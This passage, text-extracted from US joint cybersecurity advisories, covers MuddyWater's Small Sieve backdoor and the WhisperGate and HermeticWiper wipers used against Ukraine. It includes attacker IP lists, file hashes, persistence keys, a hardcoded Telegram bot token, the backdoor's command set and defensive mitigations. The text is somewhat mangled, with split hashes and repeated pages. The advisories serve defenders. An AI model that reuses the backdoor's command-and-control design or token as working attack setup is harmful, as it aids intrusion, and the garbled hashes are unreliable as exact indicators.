+The U.S. Department of State
+s Rewards for Justice (RFJ) program offers a reward of up to
+$10 million for reports of foreign government malicious activity against U.S. critical
+infrastructure. See the RFJ website for more information and how to report information
+securely.
+REFERENCES
+[1] CNMF Article: Iranian Intel Cyber Suite of Malware Uses Open Source Tools
+[2] MITRE ATT&CK: MuddyWater
+CAVEATS
+The information you have accessed or received is being provided 
+as is
+ for informational purposes
+only. The FBI, CISA, CNMF, and NSA do not endorse any commercial product or service, including
+any subjects of analysis. Any reference to specific commercial products, processes, or services by
+service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement,
+recommendation, or favoring by the FBI, CISA, CNMF, or NSA.
+PURPOSE
+This document was developed by the FBI, CISA, CNMF, NCSC-UK, and NSA in furtherance of their
+respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity
+specifications and mitigations. This information may be shared broadly to reach all appropriate
+stakeholders. The United States
+ NSA agrees with this attribution and the details provided in this
+report.
+Page 12 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+Page 13 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+APPENDIX A: IOCS
+The following IP addresses are associated with MuddyWater activity:
+5.199.133[.]149
+45.142.213[.]17
+45.142.212[.]61
+45.153.231[.]104
+46.166.129[.]159
+80.85.158[.]49
+87.236.212[.]22
+88.119.170[.]124
+88.119.171[.]213
+89.163.252[.]232
+95.181.161[.]49
+95.181.161[.]50
+164.132.237[.]65
+185.25.51[.]108
+185.45.192[.]228
+185.117.75[.]34
+185.118.164[.]21
+185.141.27[.]143
+185.141.27[.]248
+185.183.96[.]7
+185.183.96[.]44
+192.210.191[.]188
+192.210.226[.]128
+Page 14 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+APPENDIX B: SMALL SIEVE
+Note: the information contained in this appendix is from NCSC-UK analysis of a Small Sieve sample.
+Metadata
+Table 2: Gram_app.exe Metadata
+Filename
+gram_app.exe
+Description
+NSIS installer that installs and runs the index.exe backdoor and adds a
+persistence registry key
+Size
+16999598 bytes
+15fa3b32539d7453a9a85958b77d4c95
+SHA-1
+11d594f3b3cf8525682f6214acb7b7782056d282
+SHA-256
+b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054
+Compile Time
+2021-09-25 21:57:46 UTC
+Table 3: Index.exe Metadata
+Filename
+index.exe
+Description
+The final PyInstaller-bundled Python 3.9 backdoor
+Size
+17263089 bytes
+5763530f25ed0ec08fb26a30c04009f1
+SHA-1
+2a6ddf89a8366a262b56a251b00aafaed5321992
+SHA-256
+bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37
+d3a2
+2021-08-01 04:39:46 UTC
+Compile Time
+Functionality
+Installation
+Small Sieve is distributed as a large (16MB) NSIS installer named gram_app.exe, which does not
+appear to masquerade as a legitimate application. Once executed, the backdoor binary index.exe is
+installed in the user
+s AppData/Roaming directory and is added as a Run key in the registry to
+enabled persistence after reboot.
+The installer then executes the backdoor with the 
+Platypus
+ argument [T1480], which is also present
+in the registry persistence key:
+HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift.
+Page 15 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+Configuration
+The backdoor attempts to restore previously initialized session data from
+%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt.
+If this file does not exist, then it uses the hardcoded values listed in table 4:
+Table 4: Credentials and Session Values
+Field
+Value
+Description
+Chat ID
+2090761833
+This is the Telegram Channel ID that
+beacons are sent to, and, from which,
+tasking requests are received. Tasking
+requests are dropped if they do not
+come from this channel. This value
+cannot be changed.
+Bot ID
+Random value between
+10,000,000 and
+90,000,000
+This is a bot identifier generated at
+startup that is sent to the C2 in the
+initial beacon. Commands must be
+prefixed with /com[Bot ID] in order
+to be processed by the malware.
+Telegram Token
+2003026094:
+AAGoitvpcx3SFZ2_6YzIs4
+La_kyDF1PbXrY
+This is the initial token used to
+authenticate each message to the
+Telegram Bot API.
+Tasking
+Small Sieve beacons via the Telegram Bot API, sending the configured Bot ID, the currently logged-in
+user, and the host
+s IP address, as described in the Communications (Beacon format) section below.
+It then waits for tasking as a Telegram bot using the python-telegram-bot module.
+Two task formats are supported:
+/start 
+ no argument is passed; this causes the beacon information to be repeated.
+/com[BotID] [command] 
+ for issuing commands passed in the argument.
+The following commands are supported by the second of these formats, as described in table 5: Com
+Table 5: Supported Commands
+Command
+Description
+download url
+filename
+The URL will be fetched and saved to the provided
+filename using the Python urllib module
+urlretrieve function.
+delete
+This command causes the backdoor to exit; it does
+not remove persistence.
+Page 16 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+change token
+newtoken
+The backdoor will reconnect to the Telegram Bot
+API using the provided token newtoken. This
+updated token will be stored in the encoded
+MicrosoftWindowsOutlookDataPlus.txt file.
+disconnect
+The original connection to Telegram is terminated.
+It is likely used after a change token command is
+issued.
+Any commands other than those detailed in table 5 are executed directly by passing them to cmd.exe
+/c, and the output is returned as a reply.
+Defense Evasion
+Anti-Sandbox
+Figure 1: Execution Guardrail
+Threat actors may be attempting to thwart simple analysis by not passing 
+Platypus
+ on the command
+line.
+String obfuscation
+Internal strings and new Telegram tokens are stored obfuscated with a custom alphabet and Base64encoded. A decryption script is included in Appendix B.
+Communications
+Beacon Format
+Before listening for tasking using CommandHandler objects from the python-telegram-bot module, a
+beacon is generated manually using the standard requests library:
+Page 17 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+Figure 2: Manually Generated Beacon
+The hex host data is encoded using the byte shuffling algorithm as described in the 
+Communications
+(Traffic obfuscation)
+ section of this report. The example in figure 2 decodes to:
+admin/WINDOMAIN1 | 10.17.32.18
+Traffic obfuscation
+Although traffic to the Telegram Bot API is protected by TLS, Small Sieve obfuscates its tasking and
+response using a hex byte shuffling algorithm. A Python3 implementation is shown in figure 3.
+Figure 3: Traffic Encoding Scheme Based on Hex Conversion and Shuffling
+Detection
+Table 6 outlines indicators of compromise.
+Table 6: Indicators of Compromise
+Type
+Path
+Description
+Telegram Session
+Persistence File
+(Obfuscated)
+Values
+%LocalAppData%\MicrosoftWindowsOut
+lookDataPlus.txt
+Path
+Installation path of the
+Small Sieve binary
+%AppData%\OutlookMicrosift\index.e
+Page 18 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+Registry value name
+FBI | CISA | CNMF | NCSC-UK | NSA
+Persistence Registry Key
+pointing to index.exe with
+Platypus
+ argument
+HKCU\Software\Microsoft\Windows\Cu
+rrentVersion\Run\OutlookMicrosift
+String Recover Script
+Figure 4: String Recovery Script
+Page 19 of 19 | Product ID: AA22-055A
+TLP: WHITE
+Co-Authored by:
+TLP:WHITE
+Product ID: AA22-057A
+February 26, 2022
+Destructive Malware Targeting Organizations in
+Ukraine
+SUMMARY
+Leading up to Russia
+s unprovoked attack against
+Ukraine, threat actors deployed destructive malware
+against organizations in Ukraine to destroy computer
+systems and render them inoperable.
+Actions to Take Today:
+Set antivirus and antimalware
+programs to conduct regular scans.
+Enable strong spam filters to
+prevent phishing emails from
+reaching end users.
+Filter network traffic.
+Update software.
+Require multifactor authentication.
+On January 15, 2022, the Microsoft Threat
+Intelligence Center (MSTIC) disclosed that
+malware, known as WhisperGate, was being
+used to target organizations in Ukraine.
+According to Microsoft, WhisperGate is intended
+to be destructive and is designed to render targeted devices inoperable.
+On February 23, 2022, several cybersecurity researchers disclosed that malware known as
+HermeticWiper was being used against organizations in Ukraine. According to Sentinel Labs,
+the malware targets Windows devices, manipulating the master boot record, which results in
+subsequent boot failure.
+Destructive malware can present a direct threat to an organization
+s daily operations, impacting the
+availability of critical assets and data. Further disruptive cyberattacks against organizations in Ukraine
+are likely to occur and may unintentionally spill over to organizations in other countries. Organizations
+should increase vigilance and evaluate their capabilities encompassing planning, preparation,
+detection, and response for such an event.
+This joint Cybersecurity Advisory (CSA) between the Cybersecurity and Infrastructure Security
+Agency (CISA) and Federal Bureau of Investigation (FBI) provides information on WhisperGate and
+HermeticWiper malware as well as open-source indicators of compromise (IOCs) for organizations to
+detect and prevent the malware. Additionally, this joint CSA provides recommended guidance and
+To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local
+FBI field office at www.fbi.gov/contact-us/field-offices, or the FBI
+s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and
+location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the
+submitting company or organization; and a designated point of contact. To request incident response resources or technical
+assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov.
+This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries
+minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to
+standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic
+Light Protocol, see https://www.cisa.gov/tlp. TLP
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+considerations for organizations to address as part of network architecture, security baseline,
+continuous monitoring, and incident response practices.
+TECHNICAL DETAILS
+Threat actors have deployed destructive malware, including both WhisperGate and HermeticWiper,
+against organizations in Ukraine to destroy computer systems and render them inoperable. Listed
+below are high-level summaries of campaigns employing the malware. CISA recommends
+organizations review the resources listed below for more in-depth analysis and see the Mitigation
+section for best practices on handling destructive malware.
+On January 15, 2022, Microsoft announced the identification of a sophisticated malware operation
+targeting multiple organizations in Ukraine. The malware, known as WhisperGate, has two stages that
+corrupts a system
+s master boot record, displays a fake ransomware note, and encrypts files based
+on certain file extensions. Note: although a ransomware message is displayed during the attack,
+Microsoft highlighted that the targeted data is destroyed, and is not recoverable even if a ransom is
+paid. See Microsoft
+s blog on Destructive malware targeting Ukrainian organizations for more
+information and see the IOCs in table 1.
+Table 1: IOCs associated with WhisperGate
+Name
+File Category
+File Hash
+Source
+WhisperGate
+stage1.exe
+a196c6b8ffcb97ffb276d04f354696e2391311
+db3841ae16c8c9f56f36a38e92
+Microsoft
+MSTIC
+dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5
+329958d38b58c3fd9384081c9b78
+Microsoft
+MSTIC
+WhisperGate
+stage2.exe
+On February 23, 2022, cybersecurity researchers disclosed that malware known as HermeticWiper
+was being used against organizations in Ukraine. According to Sentinel Labs, the malware targets
+Windows devices, manipulating the master boot record and resulting in subsequent boot failure.
+Note: according to Broadcom, 
+[HermeticWiper] has some similarities to the earlier WhisperGate
+wiper attacks against Ukraine, where the wiper was disguised as ransomware.
+ See the following
+resources for more information and see the IOCs in table 2 below.
+ESET Research Tweet: Breaking. #ESETResearch discovered a new data wiper malware
+used in Ukraine today. ESET telemetry shows that it was installed on hundreds of machines in
+the country.
+Sentinel Labs: HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine
+Broadcom
+s Symantec Threat Hunter Team: Ukraine: Disk-wiping Attacks Precede Russian
+Invasion
+Page 2 of 9 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+Table 2: IOCs associated with HermeticWiper
+Name
+File Category
+File Hash
+Source
+Win32/KillDisk.N
+Trojan
+912342F1C840A42F6B74132F8A7C4FFE7
+D40FB77
+61B25D11392172E587D8DA3045812A66C
+3385451
+ESET
+research
+HermeticWiper
+Win32 EXE
+912342f1c840a42f6b74132f8a7c4ffe7d40fb
+Sentinel
+Labs
+HermeticWiper
+Win32 EXE
+61b25d11392172e587d8da3045812a66c33
+85451
+Sentinel
+Labs
+RCDATA_DRV_
+ms-compressed
+a952e288a1ead66490b3275a807f52e5
+Sentinel
+Labs
+RCDATA_DRV_
+ms-compressed
+231b3385ac17e41c5bb1b1fcb59599c4
+Sentinel
+Labs
+RCDATA_DRV_
+XP_X64
+ms-compressed
+095a1678021b034903c85dd5acb447ad
+Sentinel
+Labs
+RCDATA_DRV_
+XP_X86
+ms-compressed
+eb845b7a16ed82bd248e395d9852f467
+Sentinel
+Labs
+Trojan.Killdisk
+Trojan.Killdisk
+1bc44eef75779e3ca1eefb8ff5a64807dbc94
+2b1e4a2672d77b9f6928d292591
+Symantec
+Threat
+Hunter
+Team
+Trojan.Killdisk
+Trojan.Killdisk
+0385eeab00e946a302b24a91dea4187c121
+0597b8e17cd9e2230450f5ece21da
+Symantec
+Threat
+Hunter
+Team
+Trojan.Killdisk
+Trojan.Killdisk
+a64c3e0522fad787b95bfb6a30c3aed1b578
+6e69e88e023c062ec7e5cebf4d3e
+Symantec
+Threat
+Hunter
+Team
+Ransomware
+Trojan.Killdisk
+4dc13bb83a16d4ff9865a51b3e4d24112327
+c526c1392e14d56f20d6f4eaf382
+Symantec
+Threat
+Hunter
+Team
+Page 3 of 9 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+MITIGATIONS
+Best Practices for Handling Destructive Malware
+As previously noted above, destructive malware can present a direct threat to an organization
+s daily
+operations, impacting the availability of critical assets and data. Organizations should increase
+vigilance and evaluate their capabilities, encompassing planning, preparation, detection, and
+response, for such an event. This section is focused on the threat of malware using enterprise-scale
+distributed propagation methods and provides recommended guidance and considerations for an
+organization to address as part of their network architecture, security baseline, continuous monitoring,
+and incident response practices.
+CISA and the FBI urge all organizations to implement the following recommendations to increase their
+cyber resilience against this threat.
+Potential Distribution Vectors
+Destructive malware may use popular communication tools to spread, including worms sent through
+email and instant messages, Trojan horses dropped from websites, and virus-infected files
+downloaded from peer-to-peer connections. Malware seeks to exploit existing vulnerabilities on
+systems for quiet and easy access.
+The malware has the capability to target a large scope of systems and can execute across multiple
+systems throughout a network. As a result, it is important for organizations to assess their
+environment for atypical channels for malware delivery and/or propagation throughout their systems.
+Systems to assess include:
+Enterprise applications 
+ particularly those that have the capability to directly interface with
+and impact multiple hosts and endpoints. Common examples include:
+o Patch management systems,
+o Asset management systems,
+o Remote assistance software (typically used by the corporate help desk),
+o Antivirus (AV) software,
+o Systems assigned to system and network administrative personnel,
+o Centralized backup servers, and
+o Centralized file shares.
+While not only applicable to malware, threat actors could compromise additional resources to impact
+the availability of critical data and applications. Common examples include:
+Centralized storage devices
+o Potential risk 
+ direct access to partitions and data warehouses.
+Network devices
+o Potential risk 
+ capability to inject false routes within the routing table, delete specific
+routes from the routing table, remove/modify configuration attributes, or destroy
+firmware or system binaries
+which could isolate or degrade availability of critical
+network resources.
+Page 4 of 9 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+Best Practices and Planning Strategies
+Common strategies can be followed to strengthen an organization
+s resilience against destructive
+malware. Targeted assessment and enforcement of best practices should be employed for enterprise
+components susceptible to destructive malware.
+Communication Flow
+Ensure proper network segmentation.
+Ensure that network-based access control lists (ACLs) are configured to permit server-to-host
+and host-to-host connectivity via the minimum scope of ports and protocols and that
+directional flows for connectivity are represented appropriately.
+o Communications flow paths should be fully defined, documented, and authorized.
+Increase awareness of systems that can be used as a gateway to pivot (lateral movement) or
+directly connect to additional endpoints throughout the enterprise.
+o Ensure that these systems are contained within restrictive Virtual Local Area Networks
+(VLANs), with additional segmentation and network access controls.
+Ensure that centralized network and storage devices
+ management interfaces reside on
+restrictive VLANs.
+o Layered access control, and
+o Device-level access control enforcement 
+ restricting access from only pre-defined
+VLANs and trusted IP ranges.
+Access Control
+For enterprise systems that can directly interface with multiple endpoints:
+o Require multifactor authentication for interactive logons.
+o Ensure that authorized users are mapped to a specific subset of enterprise personnel.
+ If possible, the 
+Everyone,
+Domain Users,
+ or the 
+Authenticated Users
+groups should not be permitted the capability to directly access or authenticate
+to these systems.
+o Ensure that unique domain accounts are used and documented for each enterprise
+application service.
+ Context of permissions assigned to these accounts should be fully documented
+and configured based upon the concept of least privilege.
+ Provides an enterprise with the capability to track and monitor specific actions
+correlating to an application
+s assigned service account.
+o If possible, do not grant a service account with local or interactive logon permissions.
+ Service accounts should be explicitly denied permissions to access network
+shares and critical data locations.
+o Accounts that are used to authenticate to centralized enterprise application servers or
+devices should not contain elevated permissions on downstream systems and
+resources throughout the enterprise.
+Continuously review centralized file share ACLs and assigned permissions.
+o Restrict Write/Modify/Full Control permissions when possible.
+Monitoring
+Audit and review security logs for anomalous references to enterprise-level administrative
+(privileged) and service accounts.
+Page 5 of 9 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+o Failed logon attempts,
+o File share access, and
+o Interactive logons via a remote session.
+Review network flow data for signs of anomalous activity, including:
+o Connections using ports that do not correlate to the standard communications flow
+associated with an application,
+o Activity correlating to port scanning or enumeration, and
+o Repeated connections using ports that can be used for command and control
+purposes.
+Ensure that network devices log and audit all configuration changes.
+o Continually review network device configurations and rule sets to ensure that
+communications flows are restricted to the authorized subset of rules.
+File Distribution
+When deploying patches or AV signatures throughout an enterprise, stage the distributions to
+include a specific grouping of systems (staggered over a pre-defined period).
+o This action can minimize the overall impact in the event that an enterprise patch
+management or AV system is leveraged as a distribution vector for a malicious
+payload.
+Monitor and assess the integrity of patches and AV signatures that are distributed throughout
+the enterprise.
+o Ensure updates are received only from trusted sources,
+o Perform file and data integrity checks, and
+o Monitor and audit 
+ as related to the data that is distributed from an enterprise
+application.
+System and Application Hardening
+Ensure robust vulnerability management and patching practices are in place.
+o CISA maintains a living catalog of known exploited vulnerabilities that carry significant
+risk to federal agencies as well as public and private sectors entities. In addition to
+thoroughly testing and implementing vendor patches in a timely
+and, if possible,
+automated
+manner, organizations should ensure patching of the vulnerabilities CISA
+includes in this catalog.
+Ensure that the underlying operating system (OS) and dependencies (e.g., Internet
+Information Services [IIS], Apache, Structured Query Language [SQL]) supporting an
+application are configured and hardened based upon industry-standard best practice
+recommendations. Implement application-level security controls based on best practice
+guidance provided by the vendor. Common recommendations include:
+o Use role-based access control,
+o Prevent end-user capabilities to bypass application-level security controls,
+ For example, do not allow users to disable AV on local workstations.
+o Remove, or disable unnecessary or unused features or packages, and
+o Implement robust application logging and auditing.
+Page 6 of 9 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+Recovery and Reconstitution Planning
+A business impact analysis (BIA) is a key component of contingency planning and preparation. The
+overall output of a BIA will provide an organization with two key components (as related to critical
+mission/business operations):
+Characterization and classification of system components, and
+Interdependencies.
+Based upon the identification of an organization
+s mission critical assets (and their associated
+interdependencies), in the event that an organization is impacted by destructive malware, recovery
+and reconstitution efforts should be considered.
+To plan for this scenario, an organization should address the availability and accessibility for the
+following resources (and should include the scope of these items within incident response exercises
+and scenarios):
+Comprehensive inventory of all mission critical systems and applications:
+o Versioning information,
+o System/application dependencies,
+o System partitioning/storage configuration and connectivity, and
+o Asset owners/points of contact.
+Contact information for all essential personnel within the organization,
+Secure communications channel for recovery teams,
+Contact information for external organizational-dependent resources:
+o Communication providers,
+o Vendors (hardware/software), and
+o Outreach partners/external stakeholders
+Service contract numbers 
+ for engaging vendor support,
+Organizational procurement points of contact,
+Optical disc image (ISO)/image files for baseline restoration of critical systems and
+applications:
+o OS installation media,
+o Service packs/patches,
+o Firmware, and
+o Application software installation packages.
+Licensing/activation keys for OS and dependent applications,
+Enterprise network topology and architecture diagrams,
+System and application documentation,
+Hard copies of operational checklists and playbooks,
+System and application configuration backup files,
+Data backup files (full/differential),
+System and application security baseline and hardening checklists/guidelines, and
+System and application integrity test and acceptance checklists.
+Incident Response
+Victims of a destructive malware attacks should immediately focus on containment to reduce the
+scope of affected systems. Strategies for containment include:
+Page 7 of 9 | Product ID: AA22-057A
+TLP:WHITE
+TLP:WHITE
+CISA | FBI
+Determining a vector common to all systems experiencing anomalous behavior (or having
+been rendered unavailable)
+from which a malicious payload could have been delivered:
+o Centralized enterprise application,
+o Centralized file share (for which the identified systems were mapped or had access),
+o Privileged user account common to the identified systems,
+o Network segment or boundary, and
+o Common Domain Name System (DNS) server for name resolution.
+Based upon the determination of a likely distribution vector, additional mitigation controls can
+be enforced to further minimize impact:
+o Implement network-based ACLs to deny the identified application(s) the capability to
+directly communicate with additional systems,
+ Provides an immediate capability to isolate and sandbox specific systems or
+resources.
+o Implement null network routes for specific IP addresses (or IP ranges) from which the
+payload may be distributed,
+ An organization
+s internal DNS can also be leveraged for this task, as a null
+pointer record could be added within a DNS zone for an identified server or
+application.
+o Readily disable access for suspected user or service account(s),
+o For suspect file shares (which may be hosting the infection vector), remove access or
+disable the share path from being accessed by additional systems, and
+o Be prepared to, if necessary, reset all passwords and tickets within directories (e.g.,
+changing golden/silver tickets).
+As related to incident response and incident handling, organizations are encouraged to report
+incidents to the FBI and CISA (see the Contact section below) and to preserve forensic data for use in
+internal investigation of the incident or for possible law enforcement purposes. See Technical
+Approaches to Uncovering and Remediating Malicious Activity for more information.
+CONTACT
+All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at
+central@cisa.dhs.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI
+24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov.
+RESOURCES
+Joint CSA: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical
+Infrastructure
+Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across
+Operational Technologies and Control Systems
+Joint CSA: Ongoing Cyber Threats to U.S. Water and Wastewater Systems
+CISA and MS-ISAC: Joint Ransomware Guide
+NIST: Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events
+NIST: Data Integrity: Recovering from Ransomware and Other Destructive Events
+Page 8 of 9 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+CISA Cyber hygiene services: CISA offers a range of no-cost services to help critical
+infrastructure organizations assess, identify and reduce their exposure to threats, including
+ransomware. By requesting and leveraging these services, organizations of any size could find
+ways to reduce their risk and mitigate attack vectors.
+Page 9 of 9 | Product ID: AA22-057A
+TLP:WHITE
+TLP:WHITE
+Co-Authored by:
+Product ID: AA22-057A
+February 26, 2022
+Update: Destructive Malware Targeting
+Organizations in Ukraine
+SUMMARY
+Actions to Take Today:
+(Updated April 28, 2022) This advisory has been
+updated to include additional Indicators of Compromise
+(IOCs) for WhisperGate and technical details for
+HermeticWiper, IsaacWiper, HermeticWizard, and
+CaddyWiper destructive malware, all of which have been
+deployed against Ukraine since January 2022. Additional
+IOCs associated with WhisperGate are in the Appendix,
+and specific malware analysis reports (MAR) are
+hyperlinked below.
+Set antivirus and antimalware
+programs to conduct regular scans.
+Enable strong spam filters to
+prevent phishing emails from
+reaching end users.
+Filter network traffic.
+Update software.
+Require multifactor authentication.
+Refer to MAR-10375867.r1.v1 for technical details on HermeticWiper.
+Refer to MAR-10376640.r1.v1 for technical details on IsaacWiper and HermeticWizard
+Refer to MAR-10376640.r2.v1 for technical details on CaddyWiper.
+(end of update)
+Leading up to Russia
+s unprovoked attack against Ukraine, threat actors deployed destructive
+malware against organizations in Ukraine to destroy computer systems and render them inoperable.
+On January 15, 2022, the Microsoft Threat Intelligence Center (MSTIC) disclosed that
+malware, known as WhisperGate, was being used to target organizations in Ukraine.
+According to Microsoft, WhisperGate is intended to be destructive and is designed to render
+targeted devices inoperable.
+On February 23, 2022, several cybersecurity researchers disclosed that malware known as
+HermeticWiper was being used against organizations in Ukraine. According to Sentinel Labs,
+To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local
+FBI field office at www.fbi.gov/contact-us/field-offices, or the FBI
+s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and
+location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the
+submitting company or organization; and a designated point of contact. To request incident response resources or technical
+assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov.
+This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries
+minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to
+standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic
+Light Protocol, see https://www.cisa.gov/tlp. TLP
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+the malware targets Windows devices, manipulating the master boot record, which results in
+subsequent boot failure.
+Destructive malware can present a direct threat to an organization
+s daily operations, impacting the
+availability of critical assets and data. Further disruptive cyberattacks against organizations in Ukraine
+are likely to occur and may unintentionally spill over to organizations in other countries. Organizations
+should increase vigilance and evaluate their capabilities encompassing planning, preparation,
+detection, and response for such an event.
+This joint Cybersecurity Advisory (CSA) between the Cybersecurity and Infrastructure Security
+Agency (CISA) and Federal Bureau of Investigation (FBI) provides information on WhisperGate and
+HermeticWiper malware as well as open-source indicators of compromise (IOCs) for organizations to
+detect and prevent the malware. Additionally, this joint CSA provides recommended guidance and
+considerations for organizations to address as part of network architecture, security baseline,
+continuous monitoring, and incident response practices.
+TECHNICAL DETAILS
+Threat actors have deployed destructive malware, including both WhisperGate and HermeticWiper,
+against organizations in Ukraine to destroy computer systems and render them inoperable. Listed
+below are high-level summaries of campaigns employing the malware. CISA recommends
+organizations review the resources listed below for more in-depth analysis and see the Mitigation
+section for best practices on handling destructive malware.
+On January 15, 2022, Microsoft announced the identification of a sophisticated malware operation
+targeting multiple organizations in Ukraine. The malware, known as WhisperGate, has two stages that
+corrupts a system
+s master boot record, displays a fake ransomware note, and encrypts files based
+on certain file extensions. Note: although a ransomware message is displayed during the attack,
+Microsoft highlighted that the targeted data is destroyed, and is not recoverable even if a ransom is
+paid. See Microsoft
+s blog on Destructive malware targeting Ukrainian organizations for more
+information and see the IOCs in table 1.
+Table 1: IOCs associated with WhisperGate
+Name
+File Category
+File Hash
+Source
+WhisperGate
+stage1.exe
+a196c6b8ffcb97ffb276d04f354696e2391
+311db3841ae16c8c9f56f36a38e92
+Microsoft
+MSTIC
+WhisperGate
+stage2.exe
+dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f
+5329958d38b58c3fd9384081c9b78
+Microsoft
+MSTIC
+(Updated April 28, 2022) See Appendix: Additional IOCs associated with WhisperGate.
+On February 23, 2022, cybersecurity researchers disclosed that malware known as HermeticWiper
+was being used against organizations in Ukraine. According to Sentinel Labs, the malware targets
+Windows devices, manipulating the master boot record and resulting in subsequent boot failure.
+Page 2 of 16 | Product ID: AA22-057A
+TLP:WHITE
+TLP:WHITE
+CISA | FBI
+Note: according to Broadcom Software, 
+[HermeticWiper] has some similarities to the earlier
+WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
+ See the
+following resources for more information and see the IOCs in table 2 below.
+ESET Research Tweet: Breaking. #ESETResearch discovered a new data wiper malware
+used in Ukraine today. ESET telemetry shows that it was installed on hundreds of machines in
+the country.
+Sentinel Labs: HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine
+Broadcom Software
+s Symantec Threat Hunter Team: Ukraine: Disk-wiping Attacks Precede
+Russian Invasion
+Page 3 of 16 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+Table 2: IOCs associated with HermeticWiper
+Name
+File Category
+File Hash
+Source
+Win32/KillDisk
+.NCV
+Trojan
+912342F1C840A42F6B74132F8A7C4FFE7D4
+0FB77
+61B25D11392172E587D8DA3045812A66C33
+85451
+ESET
+research
+HermeticWiper
+Win32 EXE
+912342f1c840a42f6b74132f8a7c4ffe7d4
+0fb77
+Sentinel
+Labs
+HermeticWiper
+Win32 EXE
+61b25d11392172e587d8da3045812a66c33
+85451
+Sentinel
+Labs
+RCDATA_DRV_X64
+ms-compressed
+a952e288a1ead66490b3275a807f52e5
+Sentinel
+Labs
+RCDATA_DRV_X86
+ms-compressed
+231b3385ac17e41c5bb1b1fcb59599c4
+Sentinel
+Labs
+RCDATA_DRV_XP_
+ms-compressed
+095a1678021b034903c85dd5acb447ad
+Sentinel
+Labs
+RCDATA_DRV_XP_
+ms-compressed
+eb845b7a16ed82bd248e395d9852f467
+Sentinel
+Labs
+Trojan.Killdis
+Trojan.Killdis
+1bc44eef75779e3ca1eefb8ff5a64807dbc
+942b1e4a2672d77b9f6928d292591
+Symantec
+Threat
+Hunter
+Team
+Trojan.Killdis
+Trojan.Killdis
+0385eeab00e946a302b24a91dea4187c121
+0597b8e17cd9e2230450f5ece21da
+Symantec
+Threat
+Hunter
+Team
+Trojan.Killdis
+Trojan.Killdis
+a64c3e0522fad787b95bfb6a30c3aed1b57
+86e69e88e023c062ec7e5cebf4d3e
+Symantec
+Threat
+Hunter
+Team
+Ransomware
+Trojan.Killdis
+4dc13bb83a16d4ff9865a51b3e4d2411232
+7c526c1392e14d56f20d6f4eaf382
+Symantec
+Threat
+Hunter
+Team
+Page 4 of 16 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+MITIGATIONS
+Best Practices for Handling Destructive Malware
+As previously noted above, destructive malware can present a direct threat to an organization
+s daily
+operations, impacting the availability of critical assets and data. Organizations should increase
+vigilance and evaluate their capabilities, encompassing planning, preparation, detection, and
+response, for such an event. This section is focused on the threat of malware using enterprise-scale
+distributed propagation methods and provides recommended guidance and considerations for an
+organization to address as part of their network architecture, security baseline, continuous monitoring,
+and incident response practices.
+CISA and the FBI urge all organizations to implement the following recommendations to increase their
+cyber resilience against this threat.
+Potential Distribution Vectors
+Destructive malware may use popular communication tools to spread, including worms sent through
+email and instant messages, Trojan horses dropped from websites, and virus-infected files
+downloaded from peer-to-peer connections. Malware seeks to exploit existing vulnerabilities on
+systems for quiet and easy access.
+The malware has the capability to target a large scope of systems and can execute across multiple
